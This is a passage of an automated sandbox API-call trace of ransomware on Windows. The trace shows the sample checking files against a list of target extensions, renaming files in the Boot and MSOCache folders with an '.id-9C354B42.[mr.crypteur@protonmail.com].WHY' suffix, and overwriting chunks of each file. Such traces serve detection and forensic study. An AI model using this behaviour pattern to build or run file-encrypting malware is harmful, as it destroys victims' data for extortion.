hTemplateFile=0x0) returned 0x1a4 [0060.498] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=90176) returned 1 [0060.498] CloseHandle (hObject=0x1a4) returned 1 [0060.498] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0060.499] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.499] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.499] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0060.500] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0060.500] lstrlenW (lpString=".doc") returned 4 [0060.500] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.500] lstrlenW (lpString=".docx") returned 5 [0060.500] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.500] lstrlenW (lpString=".pdf") returned 4 [0060.500] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.500] lstrlenW (lpString=".xls") returned 4 [0060.500] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.500] lstrlenW (lpString=".xlsx") returned 5 [0060.500] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.501] lstrlenW (lpString=".ppt") returned 4 [0060.501] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.501] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0060.501] lstrlenW (lpString=".zip") returned 4 [0060.501] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.501] lstrlenW (lpString=".rar") returned 4 [0060.501] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.501] lstrlenW (lpString=".bz2") returned 4 [0060.501] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.501] lstrlenW (lpString=".7z") returned 3 [0060.501] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.501] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0060.501] lstrlenW (lpString=".dbf") returned 4 [0060.501] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.502] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0060.502] lstrlenW (lpString=".1cd") returned 4 [0060.502] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.502] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0060.502] lstrlenW (lpString=".jpg") returned 4 [0060.502] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.502] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0060.502] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0060.502] lstrlenW (lpString=".doc") returned 4 [0060.502] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.502] lstrlenW (lpString=".docx") returned 5 [0060.502] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.502] lstrlenW (lpString=".pdf") returned 4 [0060.502] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.502] lstrlenW (lpString=".xls") returned 4 [0060.503] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.503] lstrlenW (lpString=".xlsx") returned 5 [0060.503] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.503] lstrlenW (lpString=".ppt") returned 4 [0060.503] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.503] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0060.503] lstrlenW (lpString=".zip") returned 4 [0060.503] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.503] lstrlenW (lpString=".rar") returned 4 [0060.503] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.503] lstrlenW (lpString=".bz2") returned 4 [0060.503] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.503] lstrlenW (lpString=".7z") returned 3 [0060.504] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.504] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0060.504] lstrlenW (lpString=".dbf") returned 4 [0060.504] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.504] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0060.504] lstrlenW (lpString=".1cd") returned 4 [0060.504] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.504] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0060.504] lstrlenW (lpString=".jpg") returned 4 [0060.504] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.505] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0060.505] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.505] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.505] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=89664) returned 1 [0060.506] CloseHandle (hObject=0x1a4) returned 1 [0060.506] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0060.506] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.506] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.506] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0060.506] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0060.506] lstrlenW (lpString=".doc") returned 4 [0060.506] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.507] lstrlenW (lpString=".docx") returned 5 [0060.507] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.507] lstrlenW (lpString=".pdf") returned 4 [0060.507] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.507] lstrlenW (lpString=".xls") returned 4 [0060.507] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.507] lstrlenW (lpString=".xlsx") returned 5 [0060.507] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.507] lstrlenW (lpString=".ppt") returned 4 [0060.507] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.507] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0060.507] lstrlenW (lpString=".zip") returned 4 [0060.507] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.507] lstrlenW (lpString=".rar") returned 4 [0060.507] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.508] lstrlenW (lpString=".bz2") returned 4 [0060.508] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.508] lstrlenW (lpString=".7z") returned 3 [0060.508] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.508] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0060.508] lstrlenW (lpString=".dbf") returned 4 [0060.508] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.508] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0060.508] lstrlenW (lpString=".1cd") returned 4 [0060.508] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.508] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0060.508] lstrlenW (lpString=".jpg") returned 4 [0060.508] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.509] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0060.509] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0060.509] lstrlenW (lpString=".doc") returned 4 [0060.509] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.509] lstrlenW (lpString=".docx") returned 5 [0060.509] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.509] lstrlenW (lpString=".pdf") returned 4 [0060.509] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.509] lstrlenW (lpString=".xls") returned 4 [0060.509] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.509] lstrlenW (lpString=".xlsx") returned 5 [0060.509] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.509] lstrlenW (lpString=".ppt") returned 4 [0060.509] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.510] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0060.510] lstrlenW (lpString=".zip") returned 4 [0060.510] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.510] lstrlenW (lpString=".rar") returned 4 [0060.510] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.510] lstrlenW (lpString=".bz2") returned 4 [0060.510] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.510] lstrlenW (lpString=".7z") returned 3 [0060.510] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.510] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0060.510] lstrlenW (lpString=".dbf") returned 4 [0060.510] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.510] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0060.510] lstrlenW (lpString=".1cd") returned 4 [0060.511] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.511] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0060.511] lstrlenW (lpString=".jpg") returned 4 [0060.511] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.511] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0060.511] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.511] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.512] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=90192) returned 1 [0060.512] CloseHandle (hObject=0x1a4) returned 1 [0060.512] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0060.512] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.512] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.513] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0060.513] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0060.513] lstrlenW (lpString=".doc") returned 4 [0060.513] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.513] lstrlenW (lpString=".docx") returned 5 [0060.513] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.513] lstrlenW (lpString=".pdf") returned 4 [0060.513] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.513] lstrlenW (lpString=".xls") returned 4 [0060.513] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.513] lstrlenW (lpString=".xlsx") returned 5 [0060.513] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.513] lstrlenW (lpString=".ppt") returned 4 [0060.850] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=383786) returned 1 [0060.850] CloseHandle (hObject=0x1a0) returned 1 [0060.851] GetFileAttributesW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0060.851] GetFileAttributesW (lpFileName="C:\\bootmgr.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\bootmgr.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.851] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0060.851] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.851] lstrlenW (lpString="C:\\bootmgr") returned 10 [0060.851] lstrlenW (lpString="C:\\bootmgr") returned 10 [0060.851] lstrlenW (lpString=".doc") returned 4 [0061.202] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 1 [0061.203] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.204] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0061.204] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.204] ReadFile (in: hFile=0x1d0, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.242] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.242] ReadFile (in: hFile=0x1d0, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.900] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0061.900] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.900] ReadFile (in: hFile=0x1d0, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.044] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.045] WriteFile (in: hFile=0x1d0, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0062.740] SetEndOfFile (hFile=0x1d0) returned 1 [0062.740] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x4076078 [0063.102] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.102] WriteFile (in: hFile=0x1d0, lpBuffer=0x4076078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x4076078*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.660] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.660] WriteFile (in: hFile=0x1d0, lpBuffer=0x4076078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x4076078*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.662] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.662] WriteFile (in: hFile=0x1d0, lpBuffer=0x4076078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x4076078*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.666] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4076078 | out: hHeap=0x4c0000) returned 1 [0063.816] CloseHandle (hObject=0x1d0) returned 1 [0071.093] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0071.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0071.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0071.094] lstrlenW (lpString=".doc") returned 4 [0071.094] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0071.094] lstrlenW (lpString=".docx") returned 5 [0071.094] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0071.094] lstrlenW (lpString=".pdf") returned 4 [0071.094] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0071.094] lstrlenW (lpString=".xls") returned 4 [0071.094] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0071.094] lstrlenW (lpString=".xlsx") returned 5 [0071.094] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0071.095] lstrlenW (lpString=".ppt") returned 4 [0071.095] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0071.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0071.095] lstrlenW (lpString=".zip") returned 4 [0071.095] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0071.095] lstrlenW (lpString=".rar") returned 4 [0071.095] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0071.095] lstrlenW (lpString=".bz2") returned 4 [0071.095] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0071.095] lstrlenW (lpString=".7z") returned 3 [0071.095] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0071.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0071.095] lstrlenW (lpString=".dbf") returned 4 [0071.096] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0071.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0071.096] lstrlenW (lpString=".1cd") returned 4 [0071.096] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0071.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0071.096] lstrlenW (lpString=".jpg") returned 4 [0071.096] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0071.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0071.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0071.096] lstrlenW (lpString=".doc") returned 4 [0071.097] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0071.097] lstrlenW (lpString=".docx") returned 5 [0071.097] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0071.097] lstrlenW (lpString=".pdf") returned 4 [0071.097] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0071.097] lstrlenW (lpString=".xls") returned 4 [0071.097] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0071.097] lstrlenW (lpString=".xlsx") returned 5 [0071.097] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0071.097] lstrlenW (lpString=".ppt") returned 4 [0071.097] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0071.097] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0071.097] lstrlenW (lpString=".zip") returned 4 [0071.097] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0071.098] lstrlenW (lpString=".rar") returned 4 [0071.098] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0071.098] lstrlenW (lpString=".bz2") returned 4 [0071.098] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0071.098] lstrlenW (lpString=".7z") returned 3 [0071.098] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0071.098] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0071.098] lstrlenW (lpString=".dbf") returned 4 [0071.098] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0071.098] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0071.098] lstrlenW (lpString=".1cd") returned 4 [0071.098] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0071.098] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0071.098] lstrlenW (lpString=".jpg") returned 4 [0071.098] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0071.099] lstrcmpiW (lpString1=".msi", lpString2=".WHY") returned -1 [0071.099] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0071.099] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0071.412] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2865664) returned 1 [0071.413] CloseHandle (hObject=0x140) returned 1 [0071.413] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0071.413] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0071.413] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 1 [0071.414] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0071.414] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0071.415] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0071.415] ReadFile (in: hFile=0x140, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.431] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0071.431] ReadFile (in: hFile=0x140, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.668] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: 